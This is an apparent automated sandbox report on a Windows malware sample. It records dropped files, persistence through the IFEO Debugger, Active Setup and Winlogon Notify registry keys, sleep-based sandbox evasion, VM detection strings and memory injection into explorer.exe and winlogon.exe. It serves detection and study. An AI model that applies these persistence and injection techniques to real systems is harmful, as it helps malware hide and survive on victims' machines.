Source: C:\Windows\SysWOW64\onbeateax-oded.exe	File created: C:\Windows\SysWOW64\orfoakup.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	File created: C:\Windows\SysWOW64\egfehex.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	File created: C:\Users\user\AppData\Roaming\unruhix-udex.dll	Jump to dropped file

Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	File created: C:\Windows\SysWOW64\onbeateax-oded.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	File created: C:\Windows\SysWOW64\eapdotet.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	File created: C:\Windows\SysWOW64\orfoakup.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	File created: C:\Windows\SysWOW64\egfehex.exe	Jump to dropped file

Boot Survival

Creates a Image File Execution Options (IFEO) Debugger entry

Source: C:\Windows\SysWOW64\onbeateax-oded.exe

Registry value created: C:\Windows\system32\orfoakup.exe

Jump to behavior

Creates an undocumented autostart registry key

Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe Debugger	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe Debugger	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{31323837-3537-3132-3837-353731323837} 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{31323837-3537-3132-3837-353731323837} 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{31323837-3537-3132-3837-353731323837} IsInstalled	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{31323837-3537-3132-3837-353731323837} IsInstalled	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{31323837-3537-3132-3837-353731323837} StubPath	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{31323837-3537-3132-3837-353731323837} StubPath	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} DLLName	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} DLLName	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} Startup	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} Startup	Jump to behavior

Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567			Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe Debugger			Jump to behavior

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe

0_2_00403478

Source: C:\Windows\SysWOW64\onbeateax-oded.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Window / User API: threadDelayed 2174	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Window / User API: threadDelayed 7389	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 872	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 882	Jump to behavior

Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\eapdotet.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\orfoakup.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\egfehex.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\unruhix-udex.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\onbeateax-oded.exe TID: 1412	Thread sleep count: 2174 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe TID: 1412	Thread sleep time: -2174000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe TID: 5296	Thread sleep count: 94 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe TID: 5296	Thread sleep time: -56400000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe TID: 1412	Thread sleep count: 7389 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe TID: 1412	Thread sleep time: -7389000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\onbeateax-oded.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: explorer.exe, 00000005.00000000.1237856491.0000000000C74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000I
Source: explorer.exe, 00000005.00000000.1238456727.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: explorer.exe, 00000005.00000000.1244328769.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: BBSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 00000005.00000002.3713320347.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1244328769.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000005.00000000.1238456727.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.NoneVMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9dVMware20,1
Source: explorer.exe, 00000005.00000000.1244328769.0000000009013000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000005.00000000.1238456727.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.VMW201.00V.20829224.B64.221121184211/21/2022
Source: explorer.exe, 00000005.00000000.1238456727.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: explorer.exe, 00000005.00000003.2273696579.0000000007306000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_xU1
Source: Ey6iI0wxsf.exe, 00000000.00000002.1231566629.000000000082E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll8
Source: explorer.exe, 00000005.00000000.1244328769.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}e
Source: explorer.exe, 00000005.00000000.1244328769.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000I}~"
Source: explorer.exe, 00000005.00000000.1244328769.0000000009052000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000}io
Source: explorer.exe, 00000005.00000000.1244328769.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000005.00000002.3713320347.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1244328769.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWystem32\DriverStore\en-US\machine.inf_loc5
Source: explorer.exe, 00000005.00000000.1238456727.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware20,1
Source: explorer.exe, 00000005.00000000.1238456727.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware Virtual RAM00000001VMW-4096MBRAM slot #0RAM slot #0
Source: explorer.exe, 00000005.00000000.1244328769.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMWare
Source: explorer.exe, 00000005.00000000.1244328769.0000000009052000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000'
Source: explorer.exe, 00000005.00000003.2273696579.0000000007306000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: explorer.exe, 00000005.00000002.3713320347.0000000008F27000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1244328769.0000000008F27000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWT`
Source: explorer.exe, 00000005.00000000.1238456727.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SVGA IIES1371
Source: explorer.exe, 00000005.00000000.1238456727.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware Virtual RAM
Source: explorer.exe, 00000005.00000000.1237856491.0000000000C74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000005.00000000.1238456727.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: explorer.exe, 00000005.00000000.1244328769.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.1237856491.0000000000C74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\SysWOW64\onbeateax-oded.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe

0_2_00403478

Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe

0_2_004035B5

Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	Code function: 0_2_004033EB mov eax, dword ptr fs:[00000030h]	0_2_004033EB
Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	Code function: 0_2_004091DE mov ebx, dword ptr fs:[00000030h]	0_2_004091DE
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Code function: 2_2_004033EB mov eax, dword ptr fs:[00000030h]	2_2_004033EB

Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe

Code function: 0_2_004033EB EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetModuleFileNameA,GetCommandLineA,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,LoadLibraryA,LoadLibraryA,CreateFileA,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,FindCloseChangeNotification,ExpandEnvironmentStringsA,CreateFileA,CreateThread,CloseHandle,GetComputerNameA,lstrcpy,wsprintfA,lstrcpy,lstrcat,RegCreateKeyA,lstrcpy,lstrcpy,ExpandEnvironmentStringsA,

0_2_004033EB

Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 3CAE0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 8550000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 2F10000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 7C30000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 8560000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 8590000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 8850000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 8940000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 8950000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 8970000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 97A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 97B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 97C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 97E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 97F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 9800000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: B060000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: B190000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: E330000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 8650000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 8660000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 8670000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 8680000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: E340000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 8730000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 8740000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 8830000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 88C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 88D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 8900000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 88E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 8330000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 8340000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 8350000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 8360000 protect: page read and write	Jump to behavior
